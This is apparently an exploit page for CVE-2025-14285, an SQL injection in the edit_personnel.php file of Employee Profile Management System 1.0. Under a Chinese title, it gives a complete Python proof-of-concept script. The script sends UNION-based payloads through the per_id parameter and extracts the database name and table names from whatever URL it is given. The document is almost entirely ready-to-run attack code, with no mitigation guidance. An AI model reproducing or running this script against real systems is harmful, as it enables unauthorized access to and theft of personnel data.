CVE-2025-14285 Employee Profile Management System edit_personnel.php SQL注入漏洞

import requests import sys # CVE-2025-14285 SQL Injection PoC # Target: Employee Profile Management System 1.0 # Vulnerable File: edit_personnel.php # Vulnerable Parameter: per_id def exploit_sqli(target_url, payload): """ Exploit SQL injection vulnerability in edit_personnel.php """ # Construct the vulnerable URL exploit_url = f"{target_url}/edit_personnel.php" # Prepare the malicious payload data = { 'per_id': payload, 'submit': 'Update' } try: response = requests.post(exploit_url, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" def extract_database_info(target_url): """ Extract database information using UNION-based SQL injection """ # Get database name payload_db = "1 UNION SELECT database(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--" result = exploit_sqli(target_url, payload_db) print(f"[+] Database Name Extracted") # Get tables payload_tables = "1 UNION SELECT group_concat(table_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 FROM information_schema.tables WHERE table_schema=database()--" result = exploit_sqli(target_url, payload_tables) print(f"[+] Tables Extracted") return result if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-14285.py <target_url>") print("Example: python cve-2025-14285.py http://target.com/employee") sys.exit(1) target = sys.argv[1] print(f"[*] Exploiting CVE-2025-14285 on {target}") extract_database_info(target)